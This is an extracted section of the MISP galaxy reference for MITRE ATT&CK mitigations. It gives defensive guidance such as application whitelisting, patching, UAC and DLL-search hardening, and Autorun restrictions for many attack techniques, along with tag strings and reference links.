• mitigates: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Logon Script - T1037.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="System Services - T1569" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"

misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1574.004" with estimative-language:likelihood-probability="almost-certain"

Table 5987. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1022">https://attack.mitre.org/mitigations/M1022</a></td>
</tr>
</tbody>
</table>

**Exploitation for Client Execution Mitigation - T1203**

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation for Client Execution Mitigation - T1203"*

Table 5988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1203">https://attack.mitre.org/mitigations/T1203</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Control-flow_integrity">https://en.wikipedia.org/wiki/Control-flow_integrity</a></td>
</tr>
</tbody>
</table>
Change Default File Association Mitigation - T1042

Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations. (Citation: MSDN File Associations)

Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Change Default File Association Mitigation - T1042"

Table 5989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1042">https://attack.mitre.org/mitigations/T1042</a></td>
</tr>
</tbody>
</table>

Data from Removable Media Mitigation - T1025

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data from Removable Media Mitigation - T1025"

Table 5990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
</tbody>
</table>
Exfiltration Over Physical Medium Mitigation - T1052

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Physical Medium Mitigation - T1052"

Table 5991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1052">https://attack.mitre.org/mitigations/T1052</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/kb/967715">https://support.microsoft.com/en-us/kb/967715</a></td>
</tr>
</tbody>
</table>

Communication Through Removable Media Mitigation - T1092

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)

The tag is: misp-galaxy:mitre-course-of-action="Communication Through Removable Media Mitigation - T1092"

Table 5992. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1092">https://attack.mitre.org/mitigations/T1092</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/kb/967715">https://support.microsoft.com/en-us/kb/967715</a></td>
</tr>
</tbody>
</table>

File and Directory Discovery Mitigation - T1083

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Table 5993. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1083">https://attack.mitre.org/mitigations/T1083</a></td>
</tr>
</tbody>
</table>

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. `<code>%SYSTEMROOT%` to be used before local directory DLLs (e.g. a user’s home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at `<code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code>` (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Search Order Hijacking Mitigation - T1038"*

Table 5994. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

2906
Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users<code><HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

The tag is: misp-galaxy:mitre-course-of-action="File System Permissions Weakness Mitigation - T1044"

Table 5995. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://seclists.org/full">http://seclists.org/full</a> disclosure/2015/Dec/34</td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1044">https://attack.mitre.org/mitigations/T1044</a></td>
</tr>
</tbody>
</table>
System Network Connections Discovery Mitigation - T1049

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Network Connections Discovery Mitigation - T1049"

Table 5996. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1049">https://attack.mitre.org/mitigations/T1049</a></td>
</tr>
</tbody>
</table>

Service Registry Permissions Weakness Mitigation - T1058

Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: misp-galaxy:mitre-course-of-action="Service Registry Permissions Weakness Mitigation - T1058"

Table 5997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation - T1066"

Table 5998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1066">https://attack.mitre.org/mitigations/T1066</a></td>
</tr>
</tbody>
</table>

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

The tag is: `misp-galaxy:mitre-course-of-action="Exploitation for Privilege Escalation Mitigation - T1068"`

**Table 5999. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1068">https://attack.mitre.org/mitigations/T1068</a></td>
<td></td>
</tr>
</tbody>
</table>

### Bypass User Account Control Mitigation - T1088

Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)

The tag is: `misp-galaxy:mitre-course-of-action="Bypass User Account Control Mitigation - T1088"`

**Table 6000. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1088">https://attack.mitre.org/mitigations/T1088</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
<td></td>
</tr>
</tbody>
</table>

### Exploitation for Defense Evasion Mitigation - T1211

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of
additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"

Table 6001. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1211">https://attack.mitre.org/mitigations/T1211</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Control-flow_integrity">https://en.wikipedia.org/wiki/Control-flow_integrity</a></td>
</tr>
</tbody>
</table>

**Extra Window Memory Injection Mitigation - T1181**

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Extra Window Memory Injection Mitigation - T1181"

Table 6002. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
</tbody>
</table>
Exploitation for Credential Access Mitigation - T1212

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Credential Access Mitigation - T1212"

Table 6003. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1212">https://attack.mitre.org/mitigations/T1212</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Control-flow_integrity">https://en.wikipedia.org/wiki/Control-flow_integrity</a></td>
</tr>
</tbody>
</table>

Component Object Model Hijacking Mitigation - T1122

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Component Object Model Hijacking Mitigation - T1122"

**Table 6004. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1122">https://attack.mitre.org/mitigations/T1122</a></td>
</tr>
</tbody>
</table>

**Data from Information Repositories Mitigation - T1213**

To mitigate adversary access to information repositories for collection:

- Develop and publish policies that define acceptable information to be stored
- Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
- Enforce the principle of least-privilege
- Periodic privilege review of accounts
- Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories

The tag is: misp-galaxy:mitre-course-of-action="Data from Information Repositories Mitigation - T1213"

**Table 6005. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1213">https://attack.mitre.org/mitigations/T1213</a></td>
</tr>
</tbody>
</table>

**Kernel Modules and Extensions Mitigation - T1215**

Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.

LKM's and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.
Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)

The tag is: `misp-galaxy:mitre-course-of-action="Kernel Modules and Extensions Mitigation - T1215"`

### Network Share Connection Removal Mitigation - T1126

Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Network Share Connection Removal Mitigation - T1126"`

### Signed Script Proxy Execution Mitigation - T1216

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: `misp-galaxy:mitre-course-of-action="Signed Script Proxy Execution Mitigation - T1216"`
Execution through Module Load Mitigation - T1129

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.

The tag is: misp-galaxy:mitre-course-of-action="Execution through Module Load Mitigation - T1129"

Distributed Component Object Model Mitigation - T1175

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)

Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)

Enable Windows firewall, which prevents DCOM instantiation by default.

Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)

The tag is: misp-galaxy:mitre-course-of-action="Distributed Component Object Model Mitigation - T1175"
Man in the Browser Mitigation - T1185

Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.

The tag is: misp-galaxy:mitre-course-of-action="Man in the Browser Mitigation - T1185"

Hidden Files and Directories Mitigation - T1158

Mitigation of this technique may be difficult and unadvised due to the legitimate use of hidden files and directories.

The tag is: misp-galaxy:mitre-course-of-action="Hidden Files and Directories Mitigation - T1158"

Data Encrypted for Impact Mitigation - T1486

Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)

In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data Encrypted for Impact Mitigation - T1486"
Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

The tag is: `misp-galaxy:mitre-course-of-action="Network Denial of Service Mitigation - T1498"`

Endpoint Denial of Service Mitigation - T1499

Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.

The tag is: `misp-galaxy:mitre-course-of-action="Endpoint Denial of Service Mitigation - T1499"`
Exploit Public-Facing Application Mitigation - T1190

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

The tag is: misp-galaxy:mitre-course-of-action="Exploit Public-Facing Application Mitigation - T1190"

Two-Factor Authentication Interception Mitigation - T1111

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Two-Factor Authentication Interception Mitigation - T1111"
.bash_profile and .bashrc Mitigation - T1156

Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

The tag is: misp-galaxy:mitre-course-of-action=".bash_profile and .bashrc Mitigation - T1156"

System Owner/User Discovery Mitigation - T1033

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Owner/User Discovery Mitigation - T1033"
Application Window Discovery Mitigation - T1010

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Application Window Discovery Mitigation - T1010"

Table 6020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1010">https://attack.mitre.org/mitigations/T1010</a></td>
</tr>
</tbody>
</table>

Behavior Prevention on Endpoint - M1040

Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.

The tag is: misp-galaxy:mitre-course-of-action="Behavior Prevention on Endpoint - M1040"

View relationships graph

Behavior Prevention on Endpoint - M1040 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
